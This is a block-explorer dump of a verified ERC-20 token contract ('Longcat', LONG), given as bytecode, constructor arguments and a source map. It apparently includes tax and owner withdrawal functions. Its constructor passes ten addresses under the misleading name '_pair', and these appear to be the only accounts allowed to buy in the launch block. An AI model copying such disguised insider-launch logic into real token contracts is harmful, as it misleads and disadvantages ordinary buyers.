6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c08585611576565b60405190815260200160405180910390a350505050565b5f81848411156111fa5760405162461bcd60e51b815260040161046691906115e3565b505f61120684866118f2565b95945050505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061125557611255611905565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112d09190611862565b816001815181106112e3576112e3611905565b6001600160a01b03928316602091820292909201015260135461130991309116846109fe565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113419085905f90869030904290600401611919565b5f604051808303815f87803b158015611358575f80fd5b505af115801561136a573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b61138b6012600a611808565b61139990633b9aca00611816565b600f556113a86012600a611808565b6113b690633b9aca00611816565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6113e66012600a611808565b6113f490633b9aca00611816565b60405190815260200160405180910390a1565b5f825f0361141657505f6103b0565b5f6114218385611816565b90508261142e858361198a565b146114855760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610466565b9392505050565b5f61148583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b7565b5f8183116114db5782611485565b50919050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561054d573d5f803e3d5ffd5b5f8061152483856118c7565b9050838110156114855760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610466565b5f61148583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d7565b5f81836115d75760405162461bcd60e51b815260040161046691906115e3565b505f611206848661198a565b5f602080835283518060208501525f5b8181101561160f578581018301518582016040015282016115f3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461064e575f80fd5b5f8060408385031215611654575f80fd5b823561165f8161162f565b946020939093013593505050565b5f805f6060848603121561167f575f80fd5b833561168a8161162f565b9250602084013561169a8161162f565b929592945050506040919091013590565b5f602082840312156116bb575f80fd5b81356114858161162f565b5f602082840312156116d6575f80fd5b5035919050565b5f80604083850312156116ee575f80fd5b82356116f98161162f565b915060208301356117098161162f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176257815f190482111561174857611748611714565b8085161561175557918102915b93841c939080029061172d565b509250929050565b5f82611778575060016103b0565b8161178457505f6103b0565b816001811461179a57600281146117a4576117c0565b60019150506103b0565b60ff8411156117b5576117b5611714565b50506001821b6103b0565b5060208310610133831016604e8410600b84101617156117e3575081810a6103b0565b6117ed8383611728565b805f190482111561180057611800611714565b029392505050565b5f61148560ff84168361176a565b80820281158282048414176103b0576103b0611714565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611872575f80fd5b81516114858161162f565b5f805f6060848603121561188f575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118b8575f80fd5b81518015158114611485575f80fd5b808201808211156103b0576103b0611714565b5f600182016118eb576118eb611714565b5060010190565b818103818111156103b0576103b0611714565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119695784516001600160a01b031683529383019391830191600101611944565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119a457634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf8069e4ba0404905d1f0dae52af400c1cd6764fbe5dbbf59e8d4dc17e504a8864736f6c63430008160033000000000000000000000000c3079a4126386652e85ac90d35d7120769f058580000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000dcf525030f5a76cd34c395ad432d4274cab8d24400000000000000000000000002dd3b8010b424579ac565b06095b65c87e5a50300000000000000000000000032d566f4ab4158845c56b206de450c19d8dc89940000000000000000000000009d672e9b411ec086fc9aeda0d38b11bf66b868db000000000000000000000000632ec231904d5e4b19c38c4c227f2f4b255549ef0000000000000000000000003c3198080a0ebc33031bf2dd45ff398651bd1e22000000000000000000000000305420370de7495aaed90c080d9cb3cb879f9064000000000000000000000000795628515e7844610c48b5547ea74441108153f5000000000000000000000000849f0147701281fd18ecc42ef0cb73ff31925ab3000000000000000000000000b6a3aff9a241dfe8dc99bf570637498917d28857

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063715018a61161009d578063a9059cbb11610062578063a9059cbb146102f5578063b70143c914610314578063bf474bed14610333578063dd62ed3e14610348578063f1ed9d3b1461038c575f80fd5b8063715018a61461026f5780637d1db4a5146102835780638da5cb5b146102985780638f9a55c0146102b457806395d89b41146102c9575f80fd5b806323b872dd116100e357806323b872dd146101c5578063313ce567146101e457806332a2c5d0146101ff5780633ccfd60b1461022557806370a082311461023b575f80fd5b806306fdde031461011e578063095ea7b31461015f5780630faee56f1461018e57806318160ddd146101b1575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526007815266131bdb99d8d85d60ca1b60208201525b60405161015691906115e3565b60405180910390f35b34801561016a575f80fd5b5061017e610179366004611643565b6103a0565b6040519015158152602001610156565b348015610199575f80fd5b506101a360125481565b604051908152602001610156565b3480156101bc575f80fd5b506101a36103b6565b3480156101d0575f80fd5b5061017e6101df36600461166d565b6103d6565b3480156101ef575f80fd5b5060405160128152602001610156565b34801561020a575f80fd5b50305b6040516001600160a01b039091168152602001610156565b348015610230575f80fd5b5061023961043d565b005b348015610246575f80fd5b506101a36102553660046116ab565b6001600160a01b03165f9081526001602052604090205490565b34801561027a575f80fd5b50610239610551565b34801561028e575f80fd5b506101a3600f5481565b3480156102a3575f80fd5b505f546001600160a01b031661020d565b3480156102bf575f80fd5b506101a360105481565b3480156102d4575f80fd5b506040805180820190915260048152634c4f4e4760e01b6020820152610149565b348015610300575f80fd5b5061017e61030f366004611643565b6105c2565b34801561031f575f80fd5b5061023961032e3660046116c6565b6105ce565b34801561033e575f80fd5b506101a360115481565b348015610353575f80fd5b506101a36103623660046116dd565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610397575f80fd5b50610239610651565b5f6103ac3384846109fe565b5060015b92915050565b5f6103c36012600a611808565b6103d190633b9aca00611816565b905090565b5f6103e2848484610b21565b610433843361042e856040518060600160405280602881526020016119aa602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111d7565b6109fe565b5060019392505050565b5f546001600160a01b0316331461046f5760405162461bcd60e51b81526004016104669061182d565b60405180910390fd5b601454600160a01b900460ff16156104c95760405162461bcd60e51b815260206004820152601f60248201527f54726164696e672068617320616c7265616479206265656e206f70656e6564006044820152606401610466565b47806105175760405162461bcd60e51b815260206004820152601b60248201527f436f6e747261637420686173206e6f204554482062616c616e636500000000006044820152606401610466565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f1935050505015801561054d573d5f803e3d5ffd5b5050565b5f546001600160a01b0316331461057a5760405162461bcd60e51b81526004016104669061182d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103ac338484610b21565b6005546001600160a01b0316336001600160a01b0316146105ed575f80fd5b305f90815260016020526040902054811115801561060a57505f81115b6106455760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610466565b61064e8161120f565b50565b5f546001600160a01b0316331461067a5760405162461bcd60e51b81526004016104669061182d565b601454600160a01b900460ff16156106d45760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610466565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561071d90309061070f6012600a611808565b61042e90633b9aca00611816565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107919190611862565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108149190611862565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561085e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108829190611862565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306108c9816001600160a01b03165f9081526001602052604090205490565b5f806108dc5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610942573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610967919061187d565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e091906118a8565b506014805462ff00ff60a01b19166201000160a01b17905543600655565b6001600160a01b038316610a605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610466565b6001600160a01b038216610ac15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610466565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610466565b6001600160a01b038216610be75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610466565b5f8111610c485760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610466565b5f80600654118015610c665750600654610c6390600a6118c7565b43115b15610c7357610c7361137f565b5f546001600160a01b03858116911614801590610c9d57505f546001600160a01b03848116911614155b1561109a57610cce6064610cc8600b54600e5411610cbd57600754610cc1565b6009545b8590611407565b9061148c565b6014549091506001600160a01b038581169116148015610cfc57506013546001600160a01b03848116911614155b15610ef5574360065403610df3576001600160a01b0383165f9081526003602052604090205460ff16610d855760405162461bcd60e51b815260206004820152602b60248201527f426f74206164647265737365732063616e6e6f742062757920696e207468652060448201526a666972737420626c6f636b60a81b6064820152608401610466565b610d916012600a611808565b610d9f906301312d00611816565b821115610dee5760405162461bcd60e51b815260206004820152601a60248201527f457863656564732074686520737761705468726573686f6c642e0000000000006044820152606401610466565b610ee0565b600f54821115610e455760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610466565b60105482610e67856001600160a01b03165f9081526001602052604090205490565b610e7191906118c7565b1115610ebf5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610466565b436006546003610ecf91906118c7565b1115610ee057823b15610ee0575f80fd5b600e8054905f610eef836118da565b91905055505b6014546001600160a01b03848116911614801590610f2b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610faa5760105482610f52856001600160a01b03165f9081526001602052604090205490565b610f5c91906118c7565b1115610faa5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610466565b6014546001600160a01b038481169116148015610fd057506001600160a01b0384163014155b15610ffd57610ffa6064610cc8600c54600e5411610ff057600854610cc1565b600a548590611407565b90505b305f90815260016020526040902054601454600160a81b900460ff1615801561103357506014546001600160a01b038581169116145b80156110485750601454600160b01b900460ff165b8015611055575060115481115b80156110645750600d54600e54115b15611098576110866110818461107c846012546114cd565b6114cd565b61120f565b47801561109657611096476114e1565b505b505b801561111257305f908152600160205260409020546110b99082611518565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111099085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111349083611576565b6001600160a01b0385165f908152600160205260409020556111776111598383611576565b6001600160a01b0385165f9081526001602052604090205490611518565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c08585611576565b60405190815260200160405180910390a350505050565b5f81848411156111fa5760405162461bcd60e51b815260040161046691906115e3565b505f61120684866118f2565b95945050505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061125557611255611905565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112d09190611862565b816001815181106112e3576112e3611905565b6001600160a01b03928316602091820292909201015260135461130991309116846109fe565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113419085905f90869030904290600401611919565b5f604051808303815f87803b158015611358575f80fd5b505af115801561136a573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b61138b6012600a611808565b61139990633b9aca00611816565b600f556113a86012600a611808565b6113b690633b9aca00611816565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6113e66012600a611808565b6113f490633b9aca00611816565b60405190815260200160405180910390a1565b5f825f0361141657505f6103b0565b5f6114218385611816565b90508261142e858361198a565b146114855760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610466565b9392505050565b5f61148583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b7565b5f8183116114db5782611485565b50919050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561054d573d5f803e3d5ffd5b5f8061152483856118c7565b9050838110156114855760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610466565b5f61148583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d7565b5f81836115d75760405162461bcd60e51b815260040161046691906115e3565b505f611206848661198a565b5f602080835283518060208501525f5b8181101561160f578581018301518582016040015282016115f3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461064e575f80fd5b5f8060408385031215611654575f80fd5b823561165f8161162f565b946020939093013593505050565b5f805f6060848603121561167f575f80fd5b833561168a8161162f565b9250602084013561169a8161162f565b929592945050506040919091013590565b5f602082840312156116bb575f80fd5b81356114858161162f565b5f602082840312156116d6575f80fd5b5035919050565b5f80604083850312156116ee575f80fd5b82356116f98161162f565b915060208301356117098161162f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176257815f190482111561174857611748611714565b8085161561175557918102915b93841c939080029061172d565b509250929050565b5f82611778575060016103b0565b8161178457505f6103b0565b816001811461179a57600281146117a4576117c0565b60019150506103b0565b60ff8411156117b5576117b5611714565b50506001821b6103b0565b5060208310610133831016604e8410600b84101617156117e3575081810a6103b0565b6117ed8383611728565b805f190482111561180057611800611714565b029392505050565b5f61148560ff84168361176a565b80820281158282048414176103b0576103b0611714565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611872575f80fd5b81516114858161162f565b5f805f6060848603121561188f575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118b8575f80fd5b81518015158114611485575f80fd5b808201808211156103b0576103b0611714565b5f600182016118eb576118eb611714565b5060010190565b818103818111156103b0576103b0611714565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119695784516001600160a01b031683529383019391830191600101611944565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119a457634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf8069e4ba0404905d1f0dae52af400c1cd6764fbe5dbbf59e8d4dc17e504a8864736f6c63430008160033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000c3079a4126386652e85ac90d35d7120769f058580000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000dcf525030f5a76cd34c395ad432d4274cab8d24400000000000000000000000002dd3b8010b424579ac565b06095b65c87e5a50300000000000000000000000032d566f4ab4158845c56b206de450c19d8dc89940000000000000000000000009d672e9b411ec086fc9aeda0d38b11bf66b868db000000000000000000000000632ec231904d5e4b19c38c4c227f2f4b255549ef0000000000000000000000003c3198080a0ebc33031bf2dd45ff398651bd1e22000000000000000000000000305420370de7495aaed90c080d9cb3cb879f9064000000000000000000000000795628515e7844610c48b5547ea74441108153f5000000000000000000000000849f0147701281fd18ecc42ef0cb73ff31925ab3000000000000000000000000b6a3aff9a241dfe8dc99bf570637498917d28857

-----Decoded View---------------
Arg [0] : _walletTax (address): 0xc3079A4126386652e85ac90d35D7120769F05858
Arg [1] : _pair (uint160[]): 1261444876350719410129387306342452134451105813060,16351629433738884972011278868153303366180906243,290208565978178849108712723107403199861332150676,898612587770270686754160123137331403513765849307,566232837239809812925149569252895777863645874671,343645426567247724161394541381375002064419888674,275907625923381738806662018733987406368460476516,692709259536639101147856689123792440529975858165,757132711656616802779798788613956485230093294259,1042686671353323682378852093626876247343574976599

-----Encoded View---------------
13 Constructor Arguments found :
Arg [0] : 000000000000000000000000c3079a4126386652e85ac90d35d7120769f05858
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [2] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [3] : 000000000000000000000000dcf525030f5a76cd34c395ad432d4274cab8d244
Arg [4] : 00000000000000000000000002dd3b8010b424579ac565b06095b65c87e5a503
Arg [5] : 00000000000000000000000032d566f4ab4158845c56b206de450c19d8dc8994
Arg [6] : 0000000000000000000000009d672e9b411ec086fc9aeda0d38b11bf66b868db
Arg [7] : 000000000000000000000000632ec231904d5e4b19c38c4c227f2f4b255549ef
Arg [8] : 0000000000000000000000003c3198080a0ebc33031bf2dd45ff398651bd1e22
Arg [9] : 000000000000000000000000305420370de7495aaed90c080d9cb3cb879f9064
Arg [10] : 000000000000000000000000795628515e7844610c48b5547ea74441108153f5
Arg [11] : 000000000000000000000000849f0147701281fd18ecc42ef0cb73ff31925ab3
Arg [12] : 000000000000000000000000b6a3aff9a241dfe8dc99bf570637498917d28857


Deployed Bytecode Sourcemap

3596:9020:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5632:83;;;;;;;;;;-1:-1:-1;5702:5:0;;;;;;;;;;;;-1:-1:-1;;;5702:5:0;;;;5632:83;;;;;;;:::i;:::-;;;;;;;;6465:161;;;;;;;;;;-1:-1:-1;6465:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6465:161:0;1023:187:1;4818:55:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4818:55:0;1215:177:1;5909:95:0;;;;;;;;;;;;;:::i;6634:313::-;;;;;;;;;;-1:-1:-1;6634:313:0;;;;;:::i;:::-;;:::i;5818:83::-;;;;;;;;;;-1:-1:-1;5818:83:0;;4362:2;2000:36:1;;1988:2;1973:18;5818:83:0;1858:184:1;11234:100:0;;;;;;;;;;-1:-1:-1;11321:4:0;11234:100;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;11234:100:0;2047:203:1;11342:295:0;;;;;;;;;;;;;:::i;:::-;;6012:119;;;;;;;;;;-1:-1:-1;6012:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6105:18:0;6078:7;6105:18;;;:9;:18;;;;;;;6012:119;2677:148;;;;;;;;;;;;;:::i;4551:56::-;;;;;;;;;;;;;;;;2463:79;;;;;;;;;;-1:-1:-1;2501:7:0;2528:6;-1:-1:-1;;;;;2528:6:0;2463:79;;4614:58;;;;;;;;;;;;;;;;5723:87;;;;;;;;;;-1:-1:-1;5795:7:0;;;;;;;;;;;;-1:-1:-1;;;5795:7:0;;;;5723:87;;6139:167;;;;;;;;;;-1:-1:-1;6139:167:0;;;;;:::i;:::-;;:::i;11645:216::-;;;;;;;;;;-1:-1:-1;11645:216:0;;;;;:::i;:::-;;:::i;4754:57::-;;;;;;;;;;;;;;;;6314:143;;;;;;;;;;-1:-1:-1;6314:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6422:18:0;;;6395:7;6422:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6314:143;11869:707;;;;;;;;;;;;;:::i;6465:161::-;6540:4;6557:39;298:10;6580:7;6589:6;6557:8;:39::i;:::-;-1:-1:-1;6614:4:0;6465:161;;;;;:::o;5909:95::-;5962:7;4531:13;4362:2;4531;:13;:::i;:::-;4515:29;;:13;:29;:::i;:::-;5982:14;;5909:95;:::o;6634:313::-;6732:4;6749:36;6759:6;6767:9;6778:6;6749:9;:36::i;:::-;6796:121;6805:6;298:10;6827:89;6865:6;6827:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6827:19:0;;;;;;:11;:19;;;;;;;;298:10;6827:33;;;;;;;;;;:37;:89::i;:::-;6796:8;:121::i;:::-;-1:-1:-1;6935:4:0;6634:313;;;;;:::o;11342:295::-;2590:6;;-1:-1:-1;;;;;2590:6:0;298:10;2590:22;2582:67;;;;-1:-1:-1;;;2582:67:0;;;;;;;:::i;:::-;;;;;;;;;11401:11:::1;::::0;-1:-1:-1;;;11401:11:0;::::1;;;11400:12;11392:56;;;::::0;-1:-1:-1;;;11392:56:0;;5330:2:1;11392:56:0::1;::::0;::::1;5312:21:1::0;5369:2;5349:18;;;5342:30;5408:33;5388:18;;;5381:61;5459:18;;11392:56:0::1;5128:355:1::0;11392:56:0::1;11485:21;11525:19:::0;11517:59:::1;;;::::0;-1:-1:-1;;;11517:59:0;;5690:2:1;11517:59:0::1;::::0;::::1;5672:21:1::0;5729:2;5709:18;;;5702:30;5768:29;5748:18;;;5741:57;5815:18;;11517:59:0::1;5488:351:1::0;11517:59:0::1;2501:7:::0;2528:6;;11587:42:::1;::::0;-1:-1:-1;;;;;2528:6:0;;;;11587:42;::::1;;;::::0;11613:15;;11587:42;2501:7;11587:42;11613:15;2528:6;11587:42;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11381:256;11342:295::o:0;2677:148::-;2590:6;;-1:-1:-1;;;;;2590:6:0;298:10;2590:22;2582:67;;;;-1:-1:-1;;;2582:67:0;;;;;;;:::i;:::-;2784:1:::1;2768:6:::0;;2747:40:::1;::::0;-1:-1:-1;;;;;2768:6:0;;::::1;::::0;2747:40:::1;::::0;2784:1;;2747:40:::1;2815:1;2798:19:::0;;-1:-1:-1;;;;;;2798:19:0::1;::::0;;2677:148::o;6139:167::-;6217:4;6234:42;298:10;6258:9;6269:6;6234:9;:42::i;11645:216::-;11723:10;;-1:-1:-1;;;;;11723:10:0;298;-1:-1:-1;;;;;11707:26:0;;11699:35;;;;;;11781:4;6078:7;6105:18;;;:9;:18;;;;;;11753:6;:34;;:48;;;;;11800:1;11791:6;:10;11753:48;11745:73;;;;-1:-1:-1;;;11745:73:0;;6046:2:1;11745:73:0;;;6028:21:1;6085:2;6065:18;;;6058:30;-1:-1:-1;;;6104:18:1;;;6097:42;6156:18;;11745:73:0;5844:336:1;11745:73:0;11829:24;11846:6;11829:16;:24::i;:::-;11645:216;:::o;11869:707::-;2590:6;;-1:-1:-1;;;;;2590:6:0;298:10;2590:22;2582:67;;;;-1:-1:-1;;;2582:67:0;;;;;;;:::i;:::-;11933:11:::1;::::0;-1:-1:-1;;;11933:11:0;::::1;;;11932:12;11924:47;;;::::0;-1:-1:-1;;;11924:47:0;;6387:2:1;11924:47:0::1;::::0;::::1;6369:21:1::0;6426:2;6406:18;;;6399:30;6465:25;6445:18;;;6438:53;6508:18;;11924:47:0::1;6185:347:1::0;11924:47:0::1;11982:15;:80:::0;;-1:-1:-1;;;;;;11982:80:0::1;12019:42;11982:80:::0;;::::1;::::0;;;12073:58:::1;::::0;12090:4:::1;::::0;4531:13:::1;4362:2;4531;:13;:::i;:::-;4515:29;::::0;:13:::1;:29;:::i;12073:58::-;12176:15;;;;;;;;;-1:-1:-1::0;;;;;12176:15:0::1;-1:-1:-1::0;;;;;12176:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12158:55:0::1;;12222:4;12229:15;;;;;;;;;-1:-1:-1::0;;;;;12229:15:0::1;-1:-1:-1::0;;;;;12229:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12158:94;::::0;-1:-1:-1;;;;;;12158:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7023:15:1;;;12158:94:0::1;::::0;::::1;7005:34:1::0;7075:15;;7055:18;;;7048:43;6940:18;;12158:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12142:13;:110:::0;;-1:-1:-1;;;;;12142:110:0;;::::1;-1:-1:-1::0;;;;;;12142:110:0;;::::1;;::::0;;12263:15:::1;::::0;::::1;:31;12302:21;12333:4;12339:24;12333:4:::0;-1:-1:-1;;;;;6105:18:0;6078:7;6105:18;;;:9;:18;;;;;;;6012:119;12339:24:::1;12364:1;12366::::0;12368:7:::1;2501::::0;2528:6;-1:-1:-1;;;;;2528:6:0;;2463:79;12368:7:::1;12263:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12263:129:0;;;-1:-1:-1;;;;;7461:15:1;;;12263:129:0::1;::::0;::::1;7443:34:1::0;7493:18;;;7486:34;;;;7536:18;;;7529:34;;;;7579:18;;;7572:34;7643:15;;;7622:19;;;7615:44;12376:15:0::1;7675:19:1::0;;;7668:35;7377:19;;12263:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12410:13:0::1;::::0;12441:15:::1;::::0;12403:71:::1;::::0;-1:-1:-1;;;12403:71:0;;-1:-1:-1;;;;;12441:15:0;;::::1;12403:71;::::0;::::1;8199:51:1::0;-1:-1:-1;;8266:18:1;;;8259:34;12410:13:0;::::1;::::0;-1:-1:-1;12403:29:0::1;::::0;8172:18:1;;12403:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12485:11:0::1;:18:::0;;-1:-1:-1;;;;12514:18:0;-1:-1:-1;;;12514:18:0;;;12556:12:::1;12543:10;:25:::0;11869:707::o;6955:335::-;-1:-1:-1;;;;;7048:19:0;;7040:68;;;;-1:-1:-1;;;7040:68:0;;8788:2:1;7040:68:0;;;8770:21:1;8827:2;8807:18;;;8800:30;8866:34;8846:18;;;8839:62;-1:-1:-1;;;8917:18:1;;;8910:34;8961:19;;7040:68:0;8586:400:1;7040:68:0;-1:-1:-1;;;;;7127:21:0;;7119:68;;;;-1:-1:-1;;;7119:68:0;;9193:2:1;7119:68:0;;;9175:21:1;9232:2;9212:18;;;9205:30;9271:34;9251:18;;;9244:62;-1:-1:-1;;;9322:18:1;;;9315:32;9364:19;;7119:68:0;8991:398:1;7119:68:0;-1:-1:-1;;;;;7198:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7250:32;;1361:25:1;;;7250:32:0;;1334:18:1;7250:32:0;;;;;;;6955:335;;;:::o;7298:2533::-;-1:-1:-1;;;;;7386:18:0;;7378:68;;;;-1:-1:-1;;;7378:68:0;;9596:2:1;7378:68:0;;;9578:21:1;9635:2;9615:18;;;9608:30;9674:34;9654:18;;;9647:62;-1:-1:-1;;;9725:18:1;;;9718:35;9770:19;;7378:68:0;9394:401:1;7378:68:0;-1:-1:-1;;;;;7465:16:0;;7457:64;;;;-1:-1:-1;;;7457:64:0;;10002:2:1;7457:64:0;;;9984:21:1;10041:2;10021:18;;;10014:30;10080:34;10060:18;;;10053:62;-1:-1:-1;;;10131:18:1;;;10124:33;10174:19;;7457:64:0;9800:399:1;7457:64:0;7549:1;7540:6;:10;7532:64;;;;-1:-1:-1;;;7532:64:0;;10406:2:1;7532:64:0;;;10388:21:1;10445:2;10425:18;;;10418:30;10484:34;10464:18;;;10457:62;-1:-1:-1;;;10535:18:1;;;10528:39;10584:19;;7532:64:0;10204:405:1;7532:64:0;7607:17;7654:1;7641:10;;:14;:48;;;;-1:-1:-1;7674:10:0;;:15;;7687:2;7674:15;:::i;:::-;7659:12;:30;7641:48;7637:71;;;7692:14;:12;:14::i;:::-;2501:7;2528:6;-1:-1:-